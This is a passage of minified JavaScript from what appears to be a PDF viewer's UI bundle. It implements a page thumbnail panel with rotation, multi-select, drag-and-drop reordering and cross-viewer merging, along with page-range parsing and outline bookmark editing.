rO(d)},title:"option.thumbnailPanel.rotateCounterClockwise",dataElement:"thumbRotateCounterClockwise"}),s.a.createElement(bf,{img:"icon-header-page-manipulation-page-rotation-clockwise-line",onClick:function(){return nO(d)},title:"option.thumbnailPanel.rotateClockwise",dataElement:"thumbRotateClockwise"})):s.a.createElement("div",{className:js()({"thumbnailControls-overlay":!0,"custom-buttons":y}),"data-element":"thumbnailControl"},w,r?null:s.a.createElement(hO,{className:"more-options",pageIndex:t}))};yO.propTypes=vO;var bO=yO,wO={THUMBNAIL:"thumbnail",CHECKBOX:"checkbox"};n(991);function EO(e){return function(e){if(Array.isArray(e))return OO(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||xO(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function SO(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function CO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||xO(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function xO(e,t){if(e){if("string"==typeof e)return OO(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?OO(e,t):void 0}}function OO(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var AO=function(e){var t,n=e.index,r=e.isSelected,o=e.updateAnnotations,i=e.shiftKeyThumbnailPivotIndex,a=e.onFinishLoading,u=e.onLoad,c=e.onRemove,f=void 0===c?function(){}:c,d=e.onDragStart,p=e.onDragOver,h=e.isDraggable,m=e.shouldShowControls,g=e.thumbnailSize,v=e.currentPage,y=e.pageLabels,b=void 0===y?[]:y,w=e.selectedPageIndexes,E=e.isThumbnailMultiselectEnabled,S=e.isReaderMode,C=e.dispatch,x=e.actions,O=e.isMobile,A=e.canLoad,_=e.onCancel,T=e.isThumbnailSelectingPages,k=e.thumbnailSelectionMode,P=g?Number(g):150,M=CO(Object(l.useState)({width:P,height:P}),2),R=M[0],j=M[1],L=CO(Object(l.useState)(!1),2),I=L[0],N=L[1],D=null,F=function(){D=setTimeout((function(){var e,t,r=document.getElementById("pageThumb".concat(n)),i=n+1,l=vt.getRotation(i),s=vt.getDocument();if(s&&s.getPageInfo(i)){var c=s.loadCanvas({pageNumber:i,width:P,height:P,drawComplete:(e=regeneratorRuntime.mark((function e(t){var r,i,s,u;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:(r=document.getElementById("pageThumb".concat(n)))&&((i=r.querySelector(".page-image"))&&r.removeChild(i),t.className="page-image",s=Math.min(P/t.width,P/t.height),t.style.width="".concat(t.width*s,"px"),t.style.height="".concat(t.height*s,"px"),j({width:Number(t.width),height:Number(t.height)}),Math.abs(l)&&(u="rotate(".concat(90*l,"deg) translate(-50%,-50%)"),t.style.transform=u,t.style["transform-origin"]="top left",t.style["ms-transform"]=u,t.style["ms-transform-origin"]="top left",t.style["-moz-transform"]=u,t.style["-moz-transform-origin"]="top left",t.style["-webkit-transform-origin"]="top left",t.style["-webkit-transform"]=u,t.style["-o-transform"]=u,t.style["-o-transform-origin"]="top left"),r.appendChild(t)),o&&o(n),a(n),N(!0);case 5:case"end":return e.stop()}}),e)})),t=function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){SO(i,r,o,a,l,"next",e)}function l(e){SO(i,r,o,a,l,"throw",e)}a(void 0)}))},function(e){return t.apply(this,arguments)}),source:"thumbnail"});u(n,r,c)}}),50)};Object(l.useEffect)((function(){var e=function(e){var t=e.contentChanged,r=e.moved,o=e.added,i=e.removed,a=n+1,l=o.includes(a),s=t.some((function(e){return a===e})),u=Object.keys(r).some((function(e){return a===parseInt(e)})),c=i.includes(a),f=vt.getTotalPages();i.length>0&&n+1>f||(l||s||u||c)&&F()},t=function(){N(!1),F()};return vt.addEventListener("pagesUpdated",e),vt.addEventListener("rotationUpdated",t),A&&F(),function(){vt.removeEventListener("pagesUpdated",e),vt.removeEventListener("rotationUpdated",t),clearTimeout(D),f(n)}}),[]),Rx((function(){A?F():_(n)}),[A]);var B=v===n+1,H=b[n],V="default",z=vt.getRotation(n+1);((!z||2===z)&&R.width>R.height||(1===z||3===z)&&R.width<R.height)&&(V="rotated");Math.min(P/R.width,P/R.height),null===(t=vt.getDocument())||void 0===t||t.type;return s.a.createElement("div",{className:js()({Thumbnail:!0,active:B,selected:r&&T}),onDragOver:function(e){return p(e,n)},id:"Thumbnail-container"},s.a.createElement("div",{className:"container",style:{width:P,height:P},onDragStart:function(e){return d(e,n)},draggable:h,onClick:function(e){var t=e.target.type&&"checkbox"===e.target.type;if(E&&!S){var r=e.ctrlKey||e.metaKey,o=e.shiftKey,a=EO(w);if(o){C(x.setThumbnailSelectingPages(!0));var l=i;null===l&&(l=v-1,C(x.setShiftKeyThumbnailsPivotIndex(l)));var s=Math.min(l,n),u=Math.max(l,n);a=Array.from({length:u-s+1},(function(e,t){return t+s}))}else r||T?(C(x.setThumbnailSelectingPages(!0)),(r||t||k===wO.THUMBNAIL)&&(0!==w.length||T?w.includes(n)?a=w.filter((function(e){return n!==e})):a.push(n):a.push(v-1))):a=[n];!T&&!o&&C(x.setShiftKeyThumbnailsPivotIndex(a[a.length-1])),C(x.setSelectedPageThumbnails(a))}else O()&&C(x.closeElement("leftPanel"));setTimeout((function(){t&&k!==wO.THUMBNAIL||vt.setCurrentPage(n+1)}),0)}},s.a.createElement("div",{id:"pageThumb".concat(n),className:"thumbnail"}),T&&I&&s.a.createElement(Kv,{className:"checkbox ".concat(V),checked:w.includes(n)})),s.a.createElement("div",{className:"page-label"},H),!T&&B&&m&&s.a.createElement(bO,{index:n}))};function _O(){return(_O=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function TO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return kO(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return kO(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function kO(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var PO=function(e){var t=TO(le((function(e){return[fi.getCurrentPage(e),fi.getPageLabels(e),fi.getSelectedThumbnailPageIndexes(e),fi.isThumbnailMultiselectEnabled(e),fi.isReaderMode(e),fi.getShiftKeyThumbnailPivotIndex(e),fi.isThumbnailSelectingPages(e),fi.getThumbnailSelectionMode(e)]}),N),9),n=t[0],r=t[1],o=t[2],i=t[3],a=t[4],l=t[5],u=t[6],c=t[7],f=t[8],d=re();return s.a.createElement(AO,_O({},e,{currentPage:n,pageLabels:r,selectedPageIndexes:o,isThumbnailMultiselectEnabled:i,isReaderMode:a,dispatch:d,actions:Ps,isMobile:Ot,shiftKeyThumbnailPivotIndex:l,isThumbnailSelectingPages:u,thumbnailSelectionMode:c,selectionModes:f}))},MO=(n(992),function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:vt.getTotalPages(),r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:function(){},o=[];if(!e){for(var i=1;i<=n;i++)o.push(i);return o}var a=e.split(",");return a.forEach((function(e){var n=e.split("-"),i=1===n.length,a=2===n.length;if(i){var l=jO(n[0],t,r);o.push(l)}else a&&RO(o,n,t,r)})),o.filter((function(e,t,r){return r.indexOf(e)===t&&(e>0&&e<=n)})).sort((function(e,t){return e-t}))}),RO=function(e,t,n,r){var o,i=jO(t[0],n,r);o=""===t[1]?vt.getTotalPages():jO(t[1],n,r);for(var a=i;a<=o;a++)e.push(a)},jO=function(e,t,n){var r,o=t.indexOf(e);return-1===o?(n&&n(e),console.warn("".concat(e," is not a valid page label"))):r=o+1,r};function LO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return IO(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return IO(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function IO(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function NO(e,t){for(var n="",r=e.sort((function(e,t){return e-t})),o=null,i=0;r.length>i;i++)r[i+1]===r[i]+1?o=null!==o?o:r[i]:null!==o?(n="".concat(n).concat(t[o],"-").concat(t[r[i]],", "),o=null):n="".concat(n).concat(t[r[i]],", ");return n.slice(0,-2)}var DO=function(e){var t=e.shouldShowControls,n=LO(Ks(),1)[0],r=re(),o=LO(le((function(e){return[fi.getSelectedThumbnailPageIndexes(e),fi.isElementDisabled(e,"documentControl"),fi.getPageLabels(e),fi.isThumbnailSelectingPages(e)]})),4),i=o[0],a=o[1],u=o[2],c=o[3],f=NO(i,u),d=LO(Object(l.useState)(f),2),p=d[0],h=d[1],m=LO(Object(l.useState)(f),2),g=m[0],v=m[1];Object(l.useEffect)((function(){h(NO(i,u))}),[h,i,t,u]);var y=function(){r(Ps.setThumbnailSelectingPages(!0))};return a?null:s.a.createElement("div",{className:"documentControlsContainer","data-element":"documentControl"},t?s.a.createElement("div",{className:"documentControls"},s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"documentControlsInput"},s.a.createElement("input",{onBlur:function(e){var t=e.target.value.replace(/ /g,""),n=t?MO(t,u):[],o=n.map((function(e){return e-1}));if(n.length||!t){r(Ps.setSelectedPageThumbnails(o));var a=NO(i,u);h(a),v(a)}else h(g);i.length>0&&!c&&setTimeout((function(){y()}),100)},onChange:function(e){h(e.target.value)},value:p,placeholder:n("option.documentControls.placeholder"),"aria-label":n("option.documentControls.placeholder"),className:"pagesInput",type:"text"}),s.a.createElement("div",{className:"documentControlsButton"},c?s.a.createElement(bf,{img:"icon-close",title:"option.documentControls.closeTooltip",onClick:function(){r(Ps.setSelectedPageThumbnails([])),r(Ps.setThumbnailSelectingPages(!1))},dataElement:"thumbCloseMultiSelect"}):s.a.createElement(bf,{img:"icon-tool-select-pages",title:"option.documentControls.selectTooltip",onClick:y,dataElement:"thumbMultiSelect"})))):null)};DO.propTypes={isDisabled:Is.a.bool,pageLabels:Is.a.arrayOf(Is.a.string),toggleDocumentControl:Is.a.func,shouldShowControls:Is.a.bool};var FO=DO,BO=function(e,t){var n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return function(r){return r(Ps.openElement("loadingModal")),new Promise((function(o,i){vt.mergeDocument(e,t).then((function(e){r(Ps.closeElement("loadingModal")),vt.setCurrentPage(t),n&&zt(Ht.DOCUMENT_MERGED,e),o(e)})).catch((function(e){i(e),r(Ps.closeElement("loadingModal"))}))}))}};n(993);function HO(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function VO(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?HO(Object(n),!0).forEach((function(t){zO(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):HO(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function zO(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function UO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return GO(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return GO(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function GO(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var WO=function(){var e=UO(le((function(e){return[fi.isElementOpen(e,"leftPanel"),fi.isElementDisabled(e,"thumbnailsPanel"),fi.getTotalPages(e),fi.getCurrentPage(e),fi.getSelectedThumbnailPageIndexes(e),fi.getIsThumbnailMergingEnabled(e),fi.getIsThumbnailReorderingEnabled(e),fi.getIsMultipleViewerMerging(e),fi.isElementDisabled(e,"thumbnailControl"),fi.isElementDisabled(e,"thumbnailsSizeSlider"),fi.isReaderMode(e)]}),N),11),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],u=e[6],c=e[7],f=e[8],d=e[9],p=e[10],h=Object(l.useRef)(),m=Object(l.useRef)([]),g=Object(l.useRef)([]),v=Object(l.useRef)(null),y=UO(Object(l.useState)(!0),2),b=y[0],w=y[1],E=UO(Object(l.useState)(0),2),S=E[0],C=E[1],x=UO(Object(l.useState)(0),2),O=x[0],A=x[1],_=UO(Object(l.useState)(null),2),T=_[0],k=_[1],P=UO(Object(l.useState)(!1),2),M=P[0],R=P[1],j=UO(Object(l.useState)(1),2),L=j[0],I=j[1],D=UO(Object(l.useState)(!1),2),F=D[0],B=D[1],H=UO(Object(l.useState)(150),2),V=H[0],z=H[1],U=UO(Object(l.useState)(0),2),G=U[0],W=U[1],q=UO(Object(l.useState)(0),2),Z=q[0],Y=q[1],$=re(),K={},X=function(e){var t=g.current&&g.current[e]&&g.current[e].element;if(t){var n=e+1,r=vt.getPageWidth(n),o=function(e,t){var n,r,o;return e>t?(o=e/V,n=V,r=Math.round(t/o)):(o=t/V,n=Math.round(e/o),r=V),{width:n,height:r}}(r,vt.getPageHeight(n)),i=o.width,a=o.height,l=t.querySelector(".annotation-image")||document.createElement("canvas");l.className="annotation-image",l.style.maxWidth="".concat(V,"px"),l.style.maxHeight="".concat(V,"px");var s=l.getContext("2d"),u=1,c=vt.getCompleteRotation(n);c<0&&(c+=4);var f=window.Core.getCanvasMultiplier();c%2==0?(l.width=i,l.height=a,u=l.width/r,u/=f):(l.width=a,l.height=i,u=l.height/r,u/=f),t.appendChild(l),vt.setAnnotationCanvasTransform(s,u,c);var d={pageNumber:n,overrideCanvas:l},p=t.querySelector(".page-image");if(p)d=VO(VO({},d),{},{overridePageRotation:c,overridePageCanvas:p}),K[n]||(K[n]=Object(gh.debounce)(vt.drawAnnotations,112)),(0,K[n])(d)}};if(Object(l.useEffect)((function(){var e=function(){w(!1)},t=function(e){e||w(!0)},n=function(){K={},$(Ps.setSelectedPageThumbnails([]))},r=function(){v.current&&(vt.setCurrentPage(v.current),v.current=null)};return vt.addEventListener("beginRendering",e),vt.addEventListener("finishedRendering",t),vt.addEventListener("documentLoaded",n),vt.addEventListener("pageComplete",r),vt.getDocument()&&n(),function(){vt.removeEventListener("beginRendering",e),vt.removeEventListener("finishedRendering",t),vt.removeEventListener("documentLoaded",n),vt.removeEventListener("pageComplete",r)}}),[]),Object(l.useEffect)((function(){var e=function(e){if(e){var t=Array.from(i);e.removed&&(t=t.filter((function(t){return-1===e.removed.indexOf(t+1)}))),e.moved&&(t=t.map((function(t){return e.moved[t+1]?e.moved[t+1]-1:t}))),$(Ps.setSelectedPageThumbnails(t))}};return vt.addEventListener("pagesUpdated",e),function(){return vt.removeEventListener("pagesUpdated",e)}}),[i]),Object(l.useEffect)((function(){var e;null===(e=h.current)||void 0===e||e.scrollToRow(Math.floor((o-1)/L));var t=function(e){var t=[];e.forEach((function(e){var n=e.PageNumber-1;!e.Listable||t.indexOf(n)>-1||(t.push(n),X(n))}))},n=function(e){var t,n=e-1;null===(t=h.current)||void 0===t||t.scrollToRow(Math.floor(n/L))};return vt.addEventListener("pageNumberUpdated",n),vt.addEventListener("annotationChanged",t),vt.addEventListener("annotationHidden",t),function(){vt.removeEventListener("pageNumberUpdated",n),vt.removeEventListener("annotationChanged",t),vt.removeEventListener("annotationHidden",t)}}),[V,L]),Object(l.useEffect)((function(){$(Ps.setSelectedPageThumbnails([]))}),[p]),n||!t)return null;var Q=function(){B(!1),k(null)},J=function(e,t,n){var o,i=(new Date).getTime();return e<r-1&&e>0&&i-G>=n?(null===(o=h.current)||void 0===o||o.scrollToRow(Math.floor((e+t)/L)),W(i),e+t):e},ee=function(e,t){if(e.preventDefault(),e.stopPropagation(),u||a){var n=e.target.getBoundingClientRect();R(L>1?!(e.pageX>n.x+n.width/2):!(e.pageY>n.y+n.height/2)),k(t);var r=document.getElementById("virtualized-thumbnails-container").getBoundingClientRect(),o=r.y,i=r.bottom;e.pageY<o+100?Y(J(t,-1,400)):e.pageY>i-100&&Y(J(t,1,400))}},te=function(){Y(J(Z,1,200))},ne=function(){Y(J(Z,-1,200))},oe=function(e,t){Y(t),B(!0);var n,r=i.some((function(e){return e===t})),o=r?i.map((function(e){return e+1})):[t+1];zt(Ht.THUMBNAIL_DRAGGED),e.dataTransfer.setData("text",""),o.length>1&&e.dataTransfer.setDragImage(new Image,0,0),a&&c&&(e.dataTransfer.dropEffect="move",e.dataTransfer.effectAllowed="all",e.dataTransfer.setData("dataTransferWebViewerFrame",window.frameElement.id),n=o,window.extractedDataPromise=Ix(n),window.pagesExtracted=n),r||$(Ps.setSelectedPageThumbnails([t])),vt.setCurrentPage(t+1)},ie=function(e){e.preventDefault();var t,n=e.dataTransfer.files,r=M?T+1:T+2;_t||(t=e.dataTransfer.getData("dataTransferWebViewerFrame"));var l,s,c=t&&window.frameElement.id!==t||n.length,f=o-1;if(a&&c)t&&window.frameElement.id!==t?$((l=t,s=r,function(e){return new Promise((function(t,n){var r=window.parent.document.querySelector("#".concat(l));r||(console.warn("Could not find other instance of WebViewer"),n());var o=r.contentWindow.extractedDataPromise;o||(console.warn("Could not retrieve data from other instance of WebViewer"),n()),e(Ps.openElement("loadingModal")),o.then((function(n){e(BO(n,s,!1)).then((function(n){var o=n.filename,i=n.pages;zt(Ht.DOCUMENT_MERGED,{filename:o,pages:r.contentWindow.pagesExtracted}),e(Ps.closeElement("loadingModal")),t({filename:o,pages:i})}))})).catch((function(t){e(Ps.closeElement("loadingModal")),n(t)}))}))})):n.length&&Array.from(n).forEach((function(e){$(BO(e,r))}));else if(u&&!c&&null!==T){var d=M?T+1:T+2,p=i.some((function(e){return e===f}))?i.map((function(e){return e+1})):[o];v.current=d-p.filter((function(e){return e<d})).length,vt.movePages(p,d);for(var h=[],m=0;m<p.length;m++)h.push(v.current+m);zt(Ht.THUMBNAIL_DROPPED,{pageNumbersBeforeMove:p,pagesNumbersAfterMove:h,numberOfPagesMoved:h.length})}k(null),B(!1)},ae=function(e,t,n){ue(e)||ce(e)||(g.current[e]={element:t,loaded:!1},m.current.push({pageIndex:e,id:n}))},se=function(e){var t=de(e);-1!==t&&m.current.splice(t,1)},ue=function(e){var t;return null===(t=g.current[e])||void 0===t?void 0:t.loaded},ce=function(e){return-1!==de(e)},fe=function(e){var t=de(e);-1!==t&&(vt.cancelLoadThumbnail(m.current[t].id),m.current.splice(t,1))},de=function(e){return m.current.findIndex((function(t){return t.pageIndex===e}))},pe=function(e){var t,n;fe(e);var r=null===(t=g.current[e])||void 0===t||null===(n=t.element)||void 0===n?void 0:n.querySelectorAll("canvas");null!=r&&r.length&&r.forEach((function(e){e.height=0,e.width=0})),K[e]&&K[e].cancel(),g.current[e]=null},he=function(e){var t=e.index,n=e.key,o=e.style,l=js()({columnsOfThumbnails:L>1,row:!0}),c=!p;return s.a.createElement("div",{role:"row","aria-label":"row",className:l,key:n,style:o},new Array(L).fill().map((function(e,n){var o=t*L+n,l=c&&(a||u),f=l&&T===o;return o<r?s.a.createElement(s.a.Fragment,{key:o},(L>1||0===o)&&f&&M&&s.a.createElement("div",{key:"placeholder1-".concat(o),className:"thumbnailPlaceholder"}),s.a.createElement("div",{key:o,role:"cell",onDragEnd:Q,className:"cellThumbContainer"},s.a.createElement(PO,{isDraggable:l,isSelected:i.includes(o),index:o,canLoad:b,onLoad:ae,onCancel:fe,onRemove:pe,onDragStart:oe,onDragOver:ee,onFinishLoading:se,updateAnnotations:X,shouldShowControls:c,thumbnailSize:V})),f&&!M&&s.a.createElement("div",{key:"placeholder2-".concat(o),className:"thumbnailPlaceholder"})):null})))},me=function(){I(Math.min(3,Math.max(1,Math.floor(O/V))))},ge=f?Number(V)+50:Number(V)+80,ve=!p,ye={height:"".concat(25,"px")};return s.a.createElement(s.a.Fragment,null,!d&&s.a.createElement("div",{"data-element":"thumbnailsSizeSlider",className:"thumbnail-slider-container"},s.a.createElement(bf,{img:"icon-zoom-thumb-out",title:"action.zoomOut",hideTooltipShortcut:!0,onClick:function(){V-Number("50")>Number("50")&&(z(V-Number("50")),me())},dataElement:"zoomThumbOutButton"}),s.a.createElement("input",{type:"range",min:"100",max:"1000",value:V,onChange:function(e){z(Number(e.target.value)),me()},step:"50",className:"thumbnail-slider",id:"thumbnailSize"}),s.a.createElement(bf,{img:"icon-zoom-thumb-in",title:"action.zoomIn",hideTooltipShortcut:!0,onClick:function(){V+Number("50")<1001&&(z(V+Number("50")),me())},dataElement:"zoomThumbInButton"})),s.a.createElement(kd,{bounds:!0,onResize:function(e){var t=e.bounds;C(t.height),A(t.width),I(Math.min(3,Math.max(1,Math.floor(t.width/V))))},key:V},(function(e){var t=e.measureRef;return s.a.createElement("div",{className:"Panel ThumbnailsPanel",id:"virtualized-thumbnails-container","data-element":"thumbnailsPanel",onDrop:ie,ref:t},s.a.createElement("div",{className:"virtualized-thumbnails-container"},F?s.a.createElement("div",{className:"thumbnailAutoScollArea",onDragOver:ne,style:ye}):"",s.a.createElement(kC,{ref:h,height:S,width:O,rowHeight:ge,rowCount:Math.ceil(r/L),rowRenderer:he,overscanRowCount:3,className:"thumbnailsList",style:{outline:"none"},scrollToIndex:Math.floor((o-1)/L)}),F?s.a.createElement("div",{className:"thumbnailAutoScollArea",onDragOver:te,style:VO(VO({},ye),{},{bottom:"70px"})}):""))})),s.a.createElement(FO,{shouldShowControls:ve}))},qO=n(327),ZO=s.a.createContext();function YO(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $O(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return $O(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $O(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function KO(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function XO(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?KO(Object(n),!0).forEach((function(t){QO(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):KO(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function QO(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function JO(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function eA(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){JO(i,r,o,a,l,"next",e)}function l(e){JO(i,r,o,a,l,"throw",e)}a(void 0)}))}}var tA={setDoc:function(e){this.doc=e},setOutlineName:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.findPDFNetOutline(e);case 2:if(o=r.sent){r.next=5;break}return r.abrupt("return");case 5:return r.next=7,o.setTitle(t);case 7:return i=XO(XO({},o),{},{bookmark:o,path:e,action:"setOutlineName"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,i),r.abrupt("return",e);case 10:case"end":return r.stop()}}),r)})))()},addRootOutline:function(e,t){var n=this;return eA(regeneratorRuntime.mark((function r(){var o,i,a;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.next=2,n.createOutline(e,t);case 2:return o=r.sent,r.next=5,n.doc.getPDFDoc();case 5:return i=r.sent,r.next=8,i.addRootBookmark(o);case 8:return a=XO(XO({},o),{},{bookmark:o,path:"0",action:"addRootOutline"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,a),r.abrupt("return","0");case 11:case"end":return r.stop()}}),r)})))()},addNewOutline:function(e,t,n){var r=this;return eA(regeneratorRuntime.mark((function o(){var i,a,l,s;return regeneratorRuntime.wrap((function(o){for(;;)switch(o.prev=o.next){case 0:if(!t){o.next=6;break}return o.next=3,r.findPDFNetOutline(t);case 3:i=o.sent,o.next=9;break;case 6:return o.next=8,r.getLastOutline();case 8:i=o.sent;case 9:if(i){o.next=11;break}return o.abrupt("return",null);case 11:return o.next=13,r.createOutline(e,n);case 13:return a=o.sent,o.next=16,i.addNext(a);case 16:return o.next=18,r.findPathInTree(a);case 18:return l=o.sent,s=XO(XO({},a),{},{bookmark:a,path:l,action:"addNewOutline"}),zt(Ht.OUTLINE_BOOKMARKS_CHANGED,s),o.abrupt("return",l);case 22:case"end":return o.stop()}}),o)})))()},createOutline:function(e,t){var n=this,r=window.PDFNet;return r.runWithCleanup(eA(regeneratorRuntime.mark((function o(){var i,a,l,s;return regeneratorRuntime.wrap((function(o){for(;;)switch(o.prev=o.next){case 0:return o.next=2,n.doc.getPDFDoc();case 2:return i=o.sent,o.next=5,r.Bookmark.create(i,e);case 5:return a=o.sent,o.next=8,i.getPage(t);case 8:return l=o.sent,o.next=11,r.Destination.createFit(l);case 11:return s=o.sent,o.t0=a,o.next=15,r.Action.createGoto(s);case 15:return o.t1=o.sent,o.t0.setAction.call(o.t0,o.t1),o.abrupt("return",a);case 18:case"end":return o.stop()}}),o)}))))},deleteOutline:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,t.findPDFNetOutline(e);case 2:if(!(r=n.sent)){n.next=8;break}return o=XO(XO({},r),{},{bookmark:r,path:e,action:"deleteOutline"}),n.next=7,r.delete();case 7:zt(Ht.OUTLINE_BOOKMARKS_CHANGED,o);case 8:return n.abrupt("return",null);case 9:case"end":return n.stop()}}),n)})))()},moveOutlineUp:function(e){var t=this;return eA(regeneratorRuntime.mark((function n(){var r,o,i,a,l;return 